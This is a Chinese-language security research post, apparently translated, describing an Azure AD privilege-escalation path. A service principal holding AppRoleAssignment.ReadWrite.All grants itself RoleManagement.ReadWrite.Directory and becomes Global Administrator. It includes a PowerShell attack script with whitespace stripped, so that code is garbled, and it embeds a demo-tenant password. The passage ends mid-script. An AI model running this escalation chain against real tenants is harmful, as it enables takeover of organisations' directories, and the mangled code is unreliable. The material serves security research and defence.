Microsoft 的Azure 是一個由主體、安全對像以及授予這些對象訪問權限的各種方式組成的複雜系統。一些權限操作由Azure AD 角色嚴格控制,而其他操作由角色和對象所有權者控制。 Azure 中的許多對像都受制於不同的權限系統,這會使訪問變得非常困難。
在這篇文章中,我將描述如何利用這些權限系統升級為全局管理員。我將描述作為攻擊者如何利用此系統,還將描述作為防御者如何進行安全配置。
在Azure 的攻擊研究中,至少有兩個人開放過API 權限利用:
马云惹不起马云 Dirk-Jan Mollema在此處討論了可利用的Azure API 權限。
https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/马云惹不起马云Lina Lau 在這裡討論了利用應用程序和服務主體對Azure 租戶進行後門攻擊。
https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html0x01 Azure API 權限介紹Azure AD 使用“角色”的概念為主體分配權限。例如,“全局管理員”是Azure AD 目錄角色。 Azure API 權限是一組完全不同的並行權限,可以授予Azure 服務主體。 Azure AD 角色和Azure API 權限之間存在一些重疊,但最好將它們視為並行權限系統。
這些並行系統可用於控制對相同對象的訪問,它們可用於授予對相同對象的訪問權限。但是,僅當主體通過該API 對目標對象進行操作時,才會考慮Azure API 權限系統中授予的特定權限:
在繼續分析之前,先解釋一些專有名詞,這些系統非常複雜,在分析時很容易混淆。
Principal — 可以進行身份驗證的身份。在Azure-land 中,主體可以是用戶或服務主體,使用用戶名和密碼登錄時,你正在使用用戶主體對Azure 進行身份驗證。
Azure AD App Registration— 駐留在Azure 租戶中的應用程序對象。 Azure Apps是處理配置信息的地方,你可以在其中授予用戶對應用程序的訪問權限並讓應用程序執行操作。
Service Principal— Azure Apps在需要向Azure 進行身份驗證時使用的標識。服務主體可以使用用戶名和密碼進行身份驗證。就像用戶一樣,服務主體可以控制Azure 中的其他對象。
API Permission— 一種原子的、唯一可識別的權限,適用於特定的Azure Apps。 API 權限有兩種形式:“委派”和“應用”。 API 權限描述了授予Azure Apps的特定權限。
MS Graph API 中的API 權限以“Resource.Operation.Constraint”格式編寫。示例:“Directory.ReadWrite.All”是指授予此權限的主體可以讀取和寫入目錄中的所有對象。
App Role— 由Azure Apps授予的權限,可直接由授予它的主體使用。
Delegated Permissions— 由Azure 應用授予的權限,但只能代表已通過應用進行身份驗證的用戶使用。委託人不能自己使用委派角色,但他們可以模擬確實具有該角色的登錄用戶,代表用戶使用該角色。
Application App Role ——Azure Apps本身持有的權限。應用程序可以使用此角色,而無需用戶先登錄應用程序。
Resource App— 與Azure Apps訪問的應用程序關聯的唯一標識的服務主體。應用程序角色是按資源應用程序定義的。
根據上下文,所有這些術語都可以指代同一個對象:Service Principal、Enterprise Application、Resource App 和First Party Application。
下面會描述如何形成攻擊路徑。
0x02 利用API 權限實現權限提升作為Azure 管理員、防御者或攻擊者,你將與之交互的最常見的資源應用程序之一是Microsoft Graph。基本上,你想要採取的所有可利用的管理操作都可以通過Microsoft Graph API 實現。
每個Azure 租戶都有一個Microsoft Graph Resource App。你可以通過搜索其顯示名稱“GraphAggregatorService”在你自己的租戶中找到它。在我的賬戶中,Microsoft Graph 的“應用程序ID”是00000003–0000–0000-c000–000000000000:
為什麼是同一個ID?因為此應用實際上位於Microsoft 控制的Azure AD 租戶中,讓我們從Graph的角度思考這些事情:
這些對象具有相同的顯示名稱,但它們是具有不同ID 的不同對象。另外,上面藍色表示的信任邊界意味著Microsoft租戶中的Global Admin無法控制SpecterDev租戶中的Resource App,SpecterDev租戶中的Global Admin無法控制Microsoft租戶中的Azure App。
現在添加一些應用程序角色。應用程序角色特定於每個資源應用程序。為了在這裡解釋一種權限提升的可能性,我們將重點關注兩個應用程序角色:AppRoleAssignment.ReadWrite.All 和RoleManagement.ReadWrite.Directory:
此時,這些應用程序角色僅可供管理員授予服務主體,但實際上還沒有人擁有這些權限。繼續將“AppRoleAssignment.ReadWrite.All”應用程序角色授予另一個服務主體,將使其成為“Application App Role”(而不是“委託權限”),以便服務主體本身俱有此權限:
並且不要忘了“MyCoolAzureApp”服務主體與Azure Apps“MyCoolAzureApp”相關聯:
現在“MyCoolAzureApp”已經設置好了,可以將自己或其他任何人變成全局管理員。為了理解這一點,需要討論一下這兩個特定的應用程序角色允許服務主體做什麼
Microsoft 文檔描述的“AppRoleAssignment.ReadWrite.All”權限:
“允許應用程序管理任何API(包括Microsoft Graph)的應用程序權限的權限授予和任何應用程序的應用程序分配,而無需登錄用戶。”
這意味著“AppRoleAssignment.ReadWrite.All”可讓你授予自己所需的任何API 權限。這個特殊的角色還繞過了手動的、人工的管理員授權過程。擁有這個角色意味著“MyCoolAzureApp”可以授予自己“RoleManagement.ReadWrite.Directory”:
可以用“RoleManagement.ReadWrite.Directory”做什麼?文檔描述如下:
“允許應用在沒有登錄用戶的情況下讀取和管理公司目錄的基於角色的訪問控制(RBAC)設置。這包括實例化目錄角色和管理目錄角色成員身份,以及讀取目錄角色模板、目錄角色和成員身份。”
換句話說,你可以授予自己任何你想要的目錄角色,包括全局管理員:
我們的攻擊路徑就出來了:
1.MyCoolAzureApp 應用作為MyCoolAzureApp 服務主體運行。
2.MyCoolAzureApp 服務主體具有“AppRoleAssignment.ReadWrite.All”權限,允許授予自己“RoleManagement.ReadWrite.Directory”。
3.在授予自己“RoleManagement.ReadWrite.Directory”後,MyCoolAzureApp 服務主體可以將自己提升為全局管理員。
這是此攻擊路徑的實際操作視頻:
https://vimeo.com/646553826這是上面演示中的示例攻擊代碼:
##GrantingGlobalAdminrightsbychainingAppRoleAssignment.ReadWrite.AllintoRoleManagement.ReadWrite.Directory
#HelperfunctiontoletusparseAzureJWTs:
functionParse-JWTtoken{
#
.DESCRIPTION
DecodesaJWTtoken.Thiswastakenfromlinkbelow.ThankstoVasilMichev.
.LINK
https://www.michev.info/Blog/Post/2140/decode-jwt-access-and-id-tokens-via-powershell
#
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[string]$Token
)
#Validateasperhttps://tools.ietf.org/html/rfc7519
#AccessandIDtokensarefine,Refreshtokenswillnotwork
if(-not$Token.Contains('.')-or-not$Token.StartsWith('eyJ')){
Write-Error'Invalidtoken'-ErrorActionStop
}
#Header
$tokenheader=$Token.Split('.')[0].Replace('-','+').Replace('_','/')
#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0
while($tokenheader.Length%4){
Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='
$tokenheader+='='
}
Write-Verbose'Base64encoded(padded)header:$tokenheader'
#ConvertfromBase64encodedstringtoPSObjectallatonce
Write-Verbose'Decodedheader:'
$header=([System.Text.Encoding]:ASCII.GetString([system.convert]:FromBase64String($tokenheader))|convertfrom-json)
#Payload
$tokenPayload=$Token.Split('.')[1].Replace('-','+').Replace('_','/')
#Fixpaddingasneeded,keepadding'='untilstringlengthmodulus4reaches0
while($tokenPayload.Length%4){
Write-Verbose'InvalidlengthforaBase-64chararrayorstring,adding='
$tokenPayload+='='
}
Write-Verbose'Base64encoded(padded)payoad:$tokenPayload'
$tokenByteArray=[System.Convert]:FromBase64String($tokenPayload)
$tokenArray=([System.Text.Encoding]:ASCII.GetString($tokenByteArray)|ConvertFrom-Json)
#Converts$headerand$tokenArrayfromPSCustomObjecttoHashtablesotheycanbeaddedtogether.
#Iwouldliketouse-AsHashTableinconvertfrom-json.Thisworksinpwsh6butforsomereasonAppveyorisntrunningtestsinpwsh6.
$headerAsHash=@{}
$tokenArrayAsHash=@{}
$header.psobject.properties|ForEach-Object{$headerAsHash[$_.Name]=$_.Value}
$tokenArray.psobject.properties|ForEach-Object{$tokenArrayAsHash[$_.Name]=$_.Value}
$output=$headerAsHash+$tokenArrayAsHash
Write-Output$output
}
#GetridofanytokensorAzureconnectionsinthisPowerShellinstance
Disconnect-AzureAD
Disconnect-AzAccount
$token=$null
$aadToken=$null
#ConnecttoAzureasMattNelson:
$AzureUserID='mnelson@specterdev.onmicrosoft.com'
$AzureTenantID='6c12b0b0-b2cc-4a73-8252-0b94bfca2145'
$AzurePassword=ConvertTo-SecureString'k33p3r0fTh3T3nRul3z!'-AsPlainText-Force
$psCred=New-ObjectSystem.Management.Automation.PSCredential($AzureUserID,$AzurePassword)
Connect-AzAccount-Credential$psCred-TenantID$AzureTenantID
#ConnecttoAzureADasMattNelson:
$context=[Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]:Instance.Profile.DefaultContext
$aadToken=[Microsoft.Azure.Commands.Common.Authentication.AzureSession]:Instance.AuthenticationFactory.Authenticate($context.Account,`
$context.Environment,`
$context.Tenant.Id.ToString(),`
$null,`
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]:Never,`
$null,'https://graph.windows.net').AccessToken
Connect-AzureAD-AadAccessToken$aadToken-AccountId$context.Account.Id-TenantId$context.tenant.id
#Let'sverifytheobjectIDfortheGlobalAdminroleinourtenant:
Get-AzureADDirectoryRole|?{$_.DisplayName-eq'GlobalAdministrator'}
#MattNelsonisnotaGlobalAdmin:(
Get-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'|selectDisplayName
#MattNelsoncan'tpromotehimselftoGlobalAdmin:(
Add-AzureADDirectoryRoleMember-ObjectID'23cfb4a7-c0d6-4bf1-b8d2-d2eca815df41'-RefObjectId'825aa930-14f0-40af-bdef-627524bc529e'
#Let'sgettheobjectIDofthe'MyCoolApp'appregistrationobject:
Get-AzureADApplication-All$True|?{$_.DisplayName-eq'MyCoolApp'}
#MattNelsonownstheMyCoolAppappregistration,sohecanaddanewsecret